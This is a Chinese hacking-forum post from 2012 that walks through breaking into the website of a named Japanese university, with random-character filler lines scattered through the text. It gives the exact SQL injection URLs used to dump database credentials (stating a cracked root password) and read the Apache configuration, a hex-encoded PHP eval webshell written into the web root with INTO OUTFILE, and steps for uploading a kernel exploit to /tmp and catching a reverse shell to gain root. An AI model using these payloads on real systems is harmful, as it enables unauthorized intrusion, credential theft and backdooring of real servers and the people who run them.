找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2549|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
( `/ V& C  y' Y: K+ O& L( V
$ h, d0 Q: o' Z* T0 Y& J: `http://www.doshisha.ac.jp/chs/news/index.php?i=-12 l, z: D' I4 I% ?3 c, A
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
* i; Z6 f  |, s1 z
, O; Y6 e  u4 _/ v, ehttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
/ D. d& [. x8 H: m) n3 F5 v# E) T/ V$ f! l! U; _7 k# ?2 p- _4 o
1 M$ g4 L" }5 l: v/ Z
9 l9 g. Y3 t( d7 _& g1 U  ^
//@@datadir为数据库文件路径
+ G1 r1 L3 a6 p2 b# ]" [- e 7 ^. [+ ?- J1 s/ z
3 s! R; C$ \; A/ r
//load_file读取网站容器apache的配置文件
" ~, `' h  |' e. O4 Z/ O0 k
1 t1 G. A5 o, i1 p: Y* a4 E; Z' f; k
( c; d& V3 ^& y! h* f//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 - P+ {4 U, @' T( u' }; I5 L
复制代码
/ m% M+ N$ G, }
4 x) ?! J5 l  [/ C虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
8 U. }# H/ x2 a7 Q( R
9 P( [( _" Z4 B0 ], X4 k而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。4 b' e# H- s' I1 W8 S- H
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
  k& }! b) p( T7 u- \. _# \" [) n+ p5 i
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
1 w4 }# X/ ?  p$ y- A1 @. j, h如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html: H5 @7 q9 t9 }: K) ~% S$ N# H/ `

# g/ \$ u2 }3 U既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/' X, L4 k8 S4 `6 @. h
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
; K) [! ?! f/ X! J! e- V! `直接写一句话:
2 Y+ |- D( V8 h% }$ c
( ]& E$ U0 t- \9 T  Jhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
0 `3 J, P6 n2 m4 w
9 ?3 ?1 X0 G# g2 C  F) t. N
) L* `3 g* q  |' a) |, `' i' k0 ^6 T) r  p
//最后的#是为了闭合前面的语句
: r# n. F& g. {- F
2 l* o# J6 x. ?- r
- ^7 |! R% L$ ^, n8 P' |( |/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 5 }8 o& O8 w0 U: v6 W4 _; U5 q1 R
& Y8 _4 `" j& q# F; @
" w3 a( z4 B2 s& h) B" G
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ # x+ {& X& n* l6 s2 @" y
% i  F0 s( G( k7 p1 w
' h5 O3 Q4 [2 K' H
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
  O+ Y3 k3 s. m/ Q; A
: ^  X7 b- ]: f0 k9 p2 e' P* p5 a
  Z% P; G! l; U6 x//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 7 B; X5 Z( U& R% Z9 Z5 m
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
8 O8 m/ J! w' v: D% R1 A/ |5 h9 ^' Q复制代码
  r: ?# ?( H+ [  o$ Z# C3 I2 K- |1 @  a: o) I+ r, o
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
- p0 i+ v2 e" o" a3 x通过上述注入语句,我们就得到了一句话木马:
* E, s: z2 w# [# z' S% e/ n2 o8 @+ X$ v
" O$ ^  p: ^' z4 ], o0 \: r2 C8 r
. s! y& G! i3 {- u: f
3 n1 r4 Q9 S* ?6 \
; V' T2 X3 r, D
http://www.doshisha.ac.jp/english/engnews_img/aa.php 3 D. x* A( i" E4 N2 P' ~
复制代码
# I. L. k: n2 \0 f1 J4 K: l  k
4 A* ~. y' c8 r2 }! t, a" H用菜刀连接,密码是cmd,如图所示:
  ^6 [9 V' x+ @; [然后在命令提示行里看了一下,现在的权限是:
# U& p. z7 G- M% }/ g, Y$ N2 `, u) F7 M4 G- c' w4 Q
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
9 Y: \+ f& F3 d- T好在赋权给这个文件夹不需要root,直接执行赋权语句:
, }$ A" C8 H% n+ ?! J$ A3 B& d; n8 z5 Q+ B6 e  O& m9 h  `
( F: B2 A+ Q% N8 p! M& l! {

4 i& r! i1 [0 A7 d7 I, B; i% | # A/ `. z$ C% _, J1 T- l% N: e

$ _+ N1 t4 b& ?& f* Mchmod +x /tmp/ 2 W* i& ^! A+ C2 ]; Z
复制代码
9 W1 g2 x3 B+ ^( k3 y
! L) K! t) Y; ?/ _8 b2 x7 K在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
* B! P9 A/ {* A$ }5 d然后就查了一下内核版本:& p6 F' x0 Y3 A% \

% n: H: I$ @* P4 Y " B8 l; k2 u1 z. {: G7 s5 V! B# ?

2 s0 C; G0 y0 i% q9 _) g $ R; [: R" M1 N9 C) j

' X5 [7 g. d# W: P2 ~' Uuname-a
  d. f. t+ U) K! Z$ a/ W( t
& }+ w0 q4 h" h# |' l$ O. S! c$ l! E8 v
//其实lsb_release -a
6 x) X. L3 j6 S' c1 z5 [4 @复制代码
6 Z$ c$ g4 }# L% h/ e, x8 A5 T1 o2 Q2 }3 @* A, ^# x  o1 t: k
如图所示:2 F5 k4 B, a, w

3 F' |/ q; m: t: E2 M) \内核版本:linux mainz1 2.6.28-194.e15) l" c8 d0 M- X
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)- k( @, X( S3 A1 m
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
$ h; ]/ h# e+ [* \/ ^# t
1 N, Q  _! b) M- J# i然后给予执行权限
( x) a, }9 c* ?* w一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
7 b. `5 A7 c1 u9 |
. E  A2 f) f9 T9 \% n! p
4 l: }$ ]# K: f# Y+ E6 i; f& d% \0 y; e" z6 a% m
, K" R0 W9 v, D1 v

( s! _7 G- c" U" u4 Gchmod +x /tmp/2.6.18-194 9 i3 }3 s1 [1 R+ s3 X- e6 C; o' R0 D
复制代码 然后直接执行!~
, P- y2 v4 w) z  }( J
, c2 l2 {3 [7 Y. U. g总结:
6 ?& m8 E1 y: C) T1 `2 R  ]这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了& _0 p8 |) U4 G0 Z. J! }: l
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
3 L9 G; b, E) l8 p2 w/ K, ?, |, P9 [- Q8 _5 r5 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表